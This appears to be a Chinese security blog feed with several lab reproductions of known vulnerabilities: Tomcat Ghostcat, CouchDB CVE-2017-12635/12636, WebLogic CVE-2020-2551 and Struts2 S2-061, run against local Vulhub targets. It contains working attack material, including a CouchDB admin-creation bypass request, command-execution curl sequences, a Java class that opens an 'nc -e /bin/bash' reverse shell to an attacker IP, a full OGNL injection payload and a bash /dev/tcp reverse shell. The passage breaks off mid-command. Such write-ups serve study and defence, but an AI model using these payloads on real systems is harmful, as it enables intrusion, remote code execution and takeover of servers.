<content type="html"><![CDATA[<h1 id="Tomcat-任意文件读取漏洞复现-CVE-2020-1938"><a href="#Tomcat-任意文件读取漏洞复现-CVE-2020-1938" class="headerlink" title="Tomcat 任意文件读取漏洞复现 CVE-2020-1938"></a>Tomcat 任意文件读取漏洞复现 CVE-2020-1938</h1><h2 id="漏洞介绍"><a href="#漏洞介绍" class="headerlink" title="漏洞介绍"></a>漏洞介绍</h2><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1. Java是目前Web开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。</span><br><span class="line">2. CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。</span><br><span class="line">3. 这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。</span><br></pre></td></tr></table></figure><p>影响版本</p><ul><li>Apache Tomcat = 6</li><li>7 <= Apache Tomcat < 7.0.100</li><li>8 <= Apache Tomcat < 8.5.51</li><li>9 <= Apache Tomcat < 9.0.31</li></ul><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>创建文件夹</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkdir tomcat-ghostcat</span><br></pre></td></tr></table></figure><p>进入创建好的文件夹</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cd tomcat-ghostcat</span><br></pre></td></tr></table></figure><p>拉取靶场启动脚本</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget repo.vulab.io/tomcat/CVE-2020-1938/1.0.1 -O tomcat-ghostcat</span><br></pre></td></tr></table></figure><p>启动漏洞docker容器</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo docker-compose -f tomcat-ghostcat up</span><br></pre></td></tr></table></figure><p>在本机访问192.168.52.130访问开启的web服务,这里我配置了hosts</p><p><img src="https://s2.loli.net/2023/04/02/qZ2E8FVfNLomzuh.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/qZ2E8FVfNLomzuh.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>可以看到CVE-2020-1938已经成功载入,使用namp扫描一下端口</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo nmap -v -sS -p1-9000 -Pn -T4 -A 192.168.52.130 --script http-methods --script-args Gecko/20100101 Firefox/87.0"</span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/04/02/UDQ1kl3zjA6eNrJ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/UDQ1kl3zjA6eNrJ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>发现服务器开启了8009端口,ajp协议端口就是8009端口,可能存在ajp协议,使用xray工具扫描下端口</p><p><img src="C:\Users\dong\Desktop\Books\CVE\发表过的\2020-1938\image-20221118195152735.png" class="lazyload" data-srcset="C:\Users\dong\Desktop\Books\CVE\发表过的\2020-1938\image-20221118195152735.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">xray_windows_386.exe servicescan --target 192.168.52.130:8009</span><br></pre></td></tr></table></figure><p><img src="C:\Users\dong\Desktop\Books\CVE\发表过的\2020-1938\image-20221118195217636.png" class="lazyload" data-srcset="C:\Users\dong\Desktop\Books\CVE\发表过的\2020-1938\image-20221118195217636.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><p>爆出了存在幽灵猫漏洞的CVE-2022-1938漏洞,使用相关poc测试发现成功拉取到文件</p><p><img src="https://s2.loli.net/2023/04/02/RITLFsj2Yb1ZxlP.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/RITLFsj2Yb1ZxlP.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="></p><h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p>更新tomcat版本,将tomcat升级到9.0.31、8.5.51或者7.0.100版本</p><p>禁止使用AJP协议</p><p>配置secret和secretRequired来设置AJP协议的认证凭证</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>xray</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.chaitin.cn/en/ghostcat#download</span><br></pre></td></tr></table></figure><p>CNVD-2020-10487-Tomcat-Ajp-lfi</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 漏洞复现 </category>
</categories>
<tags>
<tag> Tomcat </tag>
</tags>
</entry>
<entry>
<title>CouchDB 垂直权限绕过任意命令执行漏洞复现 CVE-2017-12635/6</title>
<link href="/2023/04/02/CouchDB-%E5%9E%82%E7%9B%B4%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-CVE-2017-12635-6/"/>
<url>/2023/04/02/CouchDB-%E5%9E%82%E7%9B%B4%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-CVE-2017-12635-6/</url>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。</p><p>CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。</p><p><strong>影响版本:</strong></p><p>小于 1.7.0 以及小于 2.1.1</p><h1 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h1><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>使用Vulhub的漏洞平台进行复现</p><p><img src="https://s2.loli.net/2023/04/02/uUlNWpFyGHqwDJc.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/uUlNWpFyGHqwDJc.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230115162346004"></p><p><code>docker-compose up -d</code></p><p>访问<a href="http://192.168.52.128:5984/_utils/#login%E5%87%BA%E7%8E%B0%E5%A6%82%E4%B8%8B%E9%A1%B5%E9%9D%A2%E6%90%AD%E5%BB%BA%E6%88%90%E5%8A%9F">http://192.168.52.128:5984/_utils/#login出现如下页面搭建成功</a></p><p><img src="https://s2.loli.net/2023/04/02/pJsqGM3tzcDnxja.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/pJsqGM3tzcDnxja.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230115163004477"></p><h2 id="测试过程"><a href="#测试过程" class="headerlink" title="测试过程"></a>测试过程</h2><h3 id="CVE-2017-12635"><a href="#CVE-2017-12635" class="headerlink" title="CVE-2017-12635"></a>CVE-2017-12635</h3><p>构造创建账户的PUT包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">PUT /_users/org.couchdb.user:GhostToKnow HTTP/1.1</span><br><span class="line">Host: www.0-sec.org:5984</span><br><span class="line">Accept: /</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: </span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/json</span><br><span class="line">Content-Length: 104</span><br><span class="line"></span><br><span class="line"> {</span><br><span class="line"> "type": "user",</span><br><span class="line"> "name": "GhostToKnow",</span><br><span class="line"> "roles": ["_admin"],</span><br><span class="line"> "password": "GhostToKnow"</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>我们没有admin权限,所以报错forbidden显示只有管理员才能设置Role角色。</p><p>绕过role验证:发送包含两个roles的数据包,即可绕过限制</p><p>在原先的包中加入 “roles”:[],</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">PUT /_users/org.couchdb.user:GhostToKnow HTTP/1.1</span><br><span class="line">Host: www.0-sec.org:5984</span><br><span class="line">Accept: /</span><br><span class="line">Accept-Language: en</span><br><span class="line">User-Agent: </span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/json</span><br><span class="line">Content-Length: 104</span><br><span class="line"></span><br><span class="line"> {</span><br><span class="line"> "type": "user",</span><br><span class="line"> "name": "GhostToKnow",</span><br><span class="line"> "roles": ["_admin"],</span><br><span class="line"> "roles": [],</span><br><span class="line"> "password": "GhostToKnow"</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>返回”ok”:true即成功创建用户</p><p>尝试使用GhostToKnow/GhostToKnow登录:</p><p><img src="C:\Users\dong\Desktop\Books\CVE\发表过的\CVE-2017-12635,12636\CouchDB\image-20230115170859103.png" class="lazyload" data-srcset="C:\Users\dong\Desktop\Books\CVE\发表过的\CVE-2017-12635,12636\CouchDB\image-20230115170859103.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230115170859103"></p><p>成功登录,且为管理员账户</p><h3 id="CVE-2017-12636"><a href="#CVE-2017-12636" class="headerlink" title="CVE-2017-12636"></a>CVE-2017-12636</h3><p>该漏洞利用条件需要登录管理员用户触发,可使用上面介绍的CVE-2017-12635搭配利用</p><p>由于Couchdb 2.x和和1.x的的API接口有所差别,导致利用方式也不同,这里直接拿刚刚复现的CVE-2017-12635环境,演示2.x版本</p><p>Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name,带上账号密码访问<code>/_membership</code>获取node名称:</p><p>其中GhostToKnow:GhostToKnow为管理员的账户密码</p><p><code>curl http://GhostToKnow:GhostToKnow@192.168.52.128:5984/_membership</code></p><p>这里只有一个node,为:nonode@nohost</p><p>修改<code>nonode@nohost</code>的配置,其中<code>id >/tmp/success</code>是要执行的命令,可以更换为弹shell</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -X PUT http://GhostToKnow:GhostToKnow@192.168.52.128:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'</span><br></pre></td></tr></table></figure><p>请求添加一个名为ccc的Database,以便在里面执行查询</p><p><code>curl -X PUT 'http://GhostToKnow:GhostToKnow@192.168.52.128:5984/ccc'</code></p><p>请求添加一个名为test的Document,以便在里面执行查询</p><p><code>curl -X PUT 'http://GhostToKnow:GhostToKnow@192.168.52.128:5984/ccc/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'</code></p><p>Couchdb 2.x删除了<code>_temp_view</code>,所以我们为了触发<code>query_servers</code>中定义的命令,需要添加一个<code>_view</code>:</p><p><code>curl -X PUT http://GhostToKnow:GhostToKnow@192.168.52.128:5984/ccc/_design/test -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"</code></p><p>增加<code>_view</code>的同时即触发了<code>query_servers</code>中的命令。</p><p>看到返回错误信息没有关系,报错来源于执行命令之后的流程</p><p>加入靶机的docker查看发现命令执行成功,成功写入success文件</p><p><img src="https://s2.loli.net/2023/04/02/aRHBhOo14mFNUJ7.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/aRHBhOo14mFNUJ7.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230115195233436"></p><p><strong>1.6.0系列</strong></p><p><code>curl -X PUT 'http://GhostToKnow:GhostToKnow@192.168.52.128:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'</code></p><p><code>curl -X PUT 'http://GhostToKnow:GhostToKnow@192.168.52.128:5984/ccc'</code></p><p><code>curl -X PUT 'http://GhostToKnow:GhostToKnow@192.168.52.128:5984/ccc/test' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'</code></p><p><code>curl -X POST 'http://GhostToKnow:GhostToKnow@192.168.52.128:5984/ccc/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'</code></p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><p>要替换对应的网址,端口,监听ip,对应版本,1.x和2.x的payload不一致。</p><p><code>python3 exp.py</code></p><p><img src="C:\Users\dong\Desktop\Books\CVE\发表过的\CVE-2017-12635,12636\CouchDB\image-20230115221117654.png" class="lazyload" data-srcset="C:\Users\dong\Desktop\Books\CVE\发表过的\CVE-2017-12635,12636\CouchDB\image-20230115221117654.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230115221117654"></p><p><img src="C:\Users\dong\Desktop\Books\CVE\发表过的\CVE-2017-12635,12636\CouchDB\image-20230115220615107.png" class="lazyload" data-srcset="C:\Users\dong\Desktop\Books\CVE\发表过的\CVE-2017-12635,12636\CouchDB\image-20230115220615107.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230115220615107"></p>]]></content>
<categories>
<category> 漏洞复现 </category>
</categories>
<tags>
<tag> CouchDB </tag>
</tags>
</entry>
<entry>
<title>Weblogic CVE-2020-2551</title>
<link href="/2023/04/02/Weblogic-CVE-2020-2551/"/>
<url>/2023/04/02/Weblogic-CVE-2020-2551/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。</p><p>经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。</p><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>直接使用vulhub中的CVE-2017-10271就可以</p><p>使用git克隆到本地</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/vulhub/vulhub.git</span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/04/02/D1wMBim29NJtYxX.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/D1wMBim29NJtYxX.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="图片"></p><p>进入对应环境</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cd vulhub/weblogic/CVE-2017-10271</span><br></pre></td></tr></table></figure><p>启动docker漏洞环境</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo docker-compose up -d</span><br></pre></td></tr></table></figure><p>搭建完成以后,访问7001/console如下图所示即为搭建成功</p><p><img src="https://s2.loli.net/2023/04/02/G6FNYorIJEc8Kkt.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/G6FNYorIJEc8Kkt.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107160549138"></p><h2 id="检测是否存在漏洞"><a href="#检测是否存在漏洞" class="headerlink" title="检测是否存在漏洞"></a>检测是否存在漏洞</h2><p><code>python3 CVE-2020-2551.py -u http://192.168.52.128:7001/</code></p><p><img src="https://s2.loli.net/2023/04/02/ibKoPA4lk8cURwV.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/ibKoPA4lk8cURwV.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107164740702"></p><p>发现存在漏洞</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>攻击机ip:192.168.0.101</p><p>靶机ip:192.168.52.128</p><p>攻击机开启监听nc -lvnp 3333</p><p><img src="https://s2.loli.net/2023/04/02/Ai1cgxOJFXPUMvl.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/Ai1cgxOJFXPUMvl.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107180523151"></p><p>编写一个exp.java文件:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">exp</span> {</span><br><span class="line"> <span class="keyword">static</span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> java.lang.Runtime.getRuntime().exec(<span class="keyword">new</span> <span class="title class_">String</span>[]{<span class="string">"/bin/bash"</span>,<span class="string">"-c"</span>,<span class="string">"nc -e /bin/bash 192.168.0.101 3333"</span>});</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中”nc -e /bin/bash 192.168.52.130 3333”是要执行的命令</p><p>然后进行编译,生成出一个exp.class文件</p><p><img src="https://s2.loli.net/2023/04/02/HwcJaQZLx4mzYsC.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/HwcJaQZLx4mzYsC.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107171912137"></p><p><img src="https://s2.loli.net/2023/04/02/CXRrEhn3piQOUgf.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/CXRrEhn3piQOUgf.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107171939453"></p><p>启一个web服务,需要与exp.class在同一文件夹</p><p><img src="https://s2.loli.net/2023/04/02/MxjV8eORAw9hclC.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/MxjV8eORAw9hclC.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107172232631"></p><p>使用marshalsec起一个恶意的RMI服务</p><p><code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101/#exp" 1099</code></p><p><img src="https://s2.loli.net/2023/04/02/wm1JhdTi5U6DapQ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/wm1JhdTi5U6DapQ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107180020082"></p><p>然后开始进行攻击,使用命令,成功弹出shell:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar weblogic_CVE_2020_2551.jar <span class="number">192.168</span><span class="number">.52</span><span class="number">.128</span> <span class="number">7001</span> rmi:<span class="comment">//192.168.0.101:1099/exp</span></span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/04/02/g2QE1wkKCzTuB6J.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/02/g2QE1wkKCzTuB6J.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230107180754385"></p>]]></content>
<categories>
<category> 漏洞复现 </category>
</categories>
<tags>
<tag> Weblogic </tag>
</tags>
</entry>
<entry>
<title>Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现</title>
<link href="/2023/03/29/Struts2-S2-061-%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-17530%EF%BC%89%E5%A4%8D%E7%8E%B0/"/>
<url>/2023/03/29/Struts2-S2-061-%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-17530%EF%BC%89%E5%A4%8D%E7%8E%B0/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大,S2-061是对S2-059漏洞修复后的绕过。</p><p>影响版本:</p><p>Apache Struts 2.0.0 - 2.5.25</p><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>这里使用vulhub漏洞环境搭建</p><p>使用git克隆到本地</p><p><code>git clone https://github.com/vulhub/vulhub.git</code></p><p><img src="https://s2.loli.net/2023/03/29/pw6MsSl3Gh9OVFC.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/pw6MsSl3Gh9OVFC.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210152107512"></p><p>进入对应环境</p><p><code>cd vulhub/struts2/s2-061</code></p><p><img src="https://s2.loli.net/2023/03/29/qMJ1AjhwcPyZvCQ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/qMJ1AjhwcPyZvCQ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210152142885"></p><p>启动docker漏洞环境</p><p><code>sudo docker-compose up -d</code></p><p><img src="https://s2.loli.net/2023/03/29/FBkQSfqNDtjl4Rs.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/FBkQSfqNDtjl4Rs.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210152205091"></p><p>访问对应地址,出现如下页面,环境搭建成功</p><p><img src="https://s2.loli.net/2023/03/29/gysCRZP8WVzSuLY.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/gysCRZP8WVzSuLY.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210153856655"></p><h2 id="复现过程"><a href="#复现过程" class="headerlink" title="复现过程"></a>复现过程</h2><p>实现判断下是否存在漏洞,使用?id=%25{7*7}查看返回id的值是7*7还是49,如果是47那么就说明进行了二次表达式解析,存在改漏洞</p><p><img src="https://s2.loli.net/2023/03/29/LlBdxGmzX7YfWiA.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/LlBdxGmzX7YfWiA.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210160031545"></p><p>这里id为49说明存在该漏洞。抓包修改为以下,这里的<code>#arglist.add("xx")</code>函数这里包含的值是你要执行的命令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">POST /.action HTTP/1.1</span><br><span class="line">Host: 192.168.52.128:8080</span><br><span class="line">User-Agent: xxx</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Connection: close</span><br><span class="line">Cookie: JSESSIONID=node0i3sptalo62q6kw46qu49oxwn1.node0</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line">Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF</span><br><span class="line">Content-Length: 833</span><br><span class="line"></span><br><span class="line">------WebKitFormBoundaryl7d1B1aGsV2wcZwF</span><br><span class="line">Content-Disposition: form-data; name="id"</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}</span><br><span class="line">------WebKitFormBoundaryl7d1B1aGsV2wcZwF--</span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/03/29/4F8P7AkrgiKdXCc.png" class="lazyload" data-srcset="https://s2.loli.net/2023/03/29/4F8P7AkrgiKdXCc.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221210161714309"></p><p>已经可以执行我们的命令了,接下来反弹shell</p><p>在vps上监听3333端口:<code>nc -lvnp 3333</code></p><p>编写反弹shell代码</p><p><code>bash -i >& /dev/tcp/192.168.52.130/3333 0>&1</code></p><p>反弹shell涉及到管道符问题要将命令进行base64编码</p><p><code>bash -c 